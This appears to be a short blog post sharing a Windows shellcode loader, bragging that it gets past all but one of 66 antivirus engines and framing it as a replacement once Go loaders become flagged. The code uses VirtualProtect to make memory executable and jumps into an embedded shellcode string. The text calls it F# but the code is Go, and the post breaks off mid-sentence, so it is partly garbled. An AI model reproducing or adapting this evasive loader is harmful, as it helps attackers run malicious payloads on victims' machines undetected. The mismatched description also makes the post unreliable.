I decided to go ahead and try to execute shellcode from F# by generating an EXE. It currently gets 1/66 on VT, with CrowdStrike Falcon detecting it using heuristics potentially due to PInvoke.
//
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
// via "set GOARCH=386"
package main
import (
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func main() {
var shellcode string = "\x31\xc9\x64\x8b\x41"
// Make a function ptr
f := func() {}
// Change permsissions on f function ptr
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
// Override function ptr
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))
// Change permsissions on shellcode string data
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
// Call the function ptr it
f()
}
This blog post serves as a means for me to keep note of useful snippets, as well as to share with the community. I couldn't find any snippets readily available to do this whilst searching Google so I thought I'd share.
This is potentially a decent language to turn to if we need an EXE on disk after Golang gets signatured more in the near future. If you're interested in using Golang instead, had posted this snippet before on Twitter: